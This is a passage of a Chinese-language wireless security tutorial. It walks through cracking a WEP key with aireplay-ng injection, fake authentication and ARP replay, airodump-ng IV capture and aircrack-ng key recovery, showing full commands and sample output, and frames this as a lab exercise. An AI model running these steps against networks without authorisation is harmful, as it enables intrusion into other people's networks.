2.测试网卡的注入能力
这一步的目的是确保无线网卡在接入点的范围内, 以便可以进行数据包的注入. 输入命令:
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0
其中
- -9表示注入测试
- -e teddy是无线网络的名称
- -a 00:14:6C:7E:40:80是接入点的MAC地址
- ath0是无线接口的名称
会出现:
09:23:35 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
09:23:35 Trying broadcast probe requests...
09:23:35 Injection is working!
09:23:37 Found 1 AP
09:23:37 Trying directed probe requests...
09:23:37 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39 30/30: 100%
最后一行很重要, 理想时它应该达到100%或者一个比较高的百分比. 如果这个百分比很低的话, 就说明我们离接入点过远或者过近. 如果它是0的话, 就说明注入并没有进行, 我们就需要使用不同的驱动或者为驱动找到相应的补丁. 参见注入测试.
3.使用airodump-ng收集IVs
这一步的目的是捕捉产生的IVs, 打开另一个控制台, 输入:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
其中:
- -c是无线网络的频道
- –bssid 00:14:6C:7E:40:80是无线接入点的MAC地址.
- -w后跟文件名的前缀, 该文件会包含IVs
- ath0是接口名称
注入进行一会以后, 屏幕上会显示:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
4.使用aireplay-ng伪装同接入点建立联系
为了使接入点能接收到数据包, 源MAC地址必须和接入点先建立联系. 如果你进行注入时使用的MAC地址没有和接入点建立联系, 那么新的IVs就不能产生, 因为接入点会忽略所有注入的数据包. 这是注入失败最大可能的原因. 要建立联系要么通过已经有联系的客户端, 要么使用伪装的认证.通过伪装建立联系, 输入:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
其中:
- -1表示伪装
- 0以秒计时
- -e teddy是无线网络名称
- -a 00:14:6C:7E:40:80 是接入点的MAC地址
- -h 00:0F:B5:88:AC:82 是网卡的MAC地址
- ath0 是无线接口名称
成功后这样显示:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
或者也有另一种方式:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
其中:
7. 6000 -每6000秒一次重新认证. 这么长的周期可以使得数据包能确保被发送
8. -o 1 - 每次只发送一个数据包
9. -q 10 - 每10秒发送一次保持活动的数据包
成功后像这样:
18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful :-)
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
and so on.
以下是一个可能的失败的例子:
8:28:02 Sending Authentication Request
18:28:02 Authentication successful
18:28:02 Sending Association Request
18:28:02 Association successful :-)
18:28:02 Got a deauthentication packet!
18:28:05 Sending Authentication Request
18:28:05 Authentication successful
18:28:05 Sending Association Request
18:28:10 Sending Authentication Request
18:28:10 Authentication successful
18:28:10 Sending Association Request
注意上面的 “Got a deauthentication packet”和上面连续的不断尝试. 所以没有建立好联系之前不要进行后面的操作.
以下给出一些可能的问题和解决方法:
一些接入点被设置为只允许和一些特定的MAC地址进行连接. 如果是这种情况, 那么我们就不能进行伪装连接了, 除非我们知道哪些MAC地址被允许连接. 如果你怀疑自己遇到的正是这个问题, 可以在尝试伪装连接的时候使用如下命令, 开启另一个会话, 命令: tcpdump -n -vvv -s0 -e -i | grep -i -E “(RA:|Authentication|ssoc)” 然后查看错误信息.
在任何时候如果你想确定自己是否已经建立好连接, 使用tcpdump命令. 启动另一个会话, 命令: tcpdump -n -e -s0 -vvv -i ath0. 典型的tcpdump错误信息如下(注意下面的接入点00:14:6c:7e:40:80说明源地址00:0F:B5:88:AC:82没有建立连接):
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
5.使用aireplay-ng的ARP模式注入数据包
这一步的目的是使用aireplay-ng监听ARP请求然后再将数据包注入到网络. 选择ARP请求是因为接入点会广播它们并产生新的IV. 所以, 着就达到了我们需要段时间内获得大量IVs的目的.
打开另一个控制台输入命令:
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
这样就会开始监听ARP请求, 如果获得一个, aireplay-ng就会立即进行注入. 如果经过长时间后显还没有获得ARP请求( 即显示:got 0 ARP requests), 参考这篇文章. ARP请求开始被注入时会这样显示:
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
你可以通过查看有airodump命令的控制台来检验. 数据包的数量应该迅速上升. “#/s”应该是一个比较正常的数字, 通常来讲是300~400个数据包每秒, 当然100和500也有可能.
可能遇到的问题及解决:
- 如果遇到类似于”Got a deauth/disassoc packet. Is the source mac associated?”这样的提示, 这意味着你已经失去和接入点的连接. 所以我们必须按照前面的方法重新进行连接.
6.用aircrack-ng破解IVs获得密码
这一步的目的是根据前面获得的IVs破解除出密码. 注意, 出于学习目的, 我们最好使用64位的WEP密码, 这样破解得会快很多. 我们就可以使用”-n 64”将密码破解的长度限定在64位. 以下会介绍两种方法 PTW法和FMS/Korek法, 建议都了解一下.注意: PTW法只有在ARP请求和应答下才能奏效, 而且需要用airodump-ng抓包才行(即不能使用”–ivs”选项). 当然对于我们的实验这些都是满足的.打开另一个会话窗口,输入命令:
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
其中:
- -b 00:14:6C:7E:40:80 表示接入点地址.
- output*.cap 表示以output为前缀,以cap为后缀的文件
若使用FMS/Korek法, 打开另一个控制台,输入命令
aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap
其中:
- -K表示FMS/Korek法
- -b 00:14:6C:7E:40:80 表示接入点地址
- output*.cap 表示以output为前缀,以cap为后缀的文件
对于64位的秘钥, 大约需要250,000个IVs来破解. 128位则需要1,500,000. 如果使用PTW法, 64位需要20,000, 128位需要40,000~85,000个. 当然以上都是大致范围, 实际情况变数很大. 成功时应该像这样:
Aircrack-ng 0.9
[00:03:06] Tested 674449 keys (got 96610 IVs)
KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)
KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%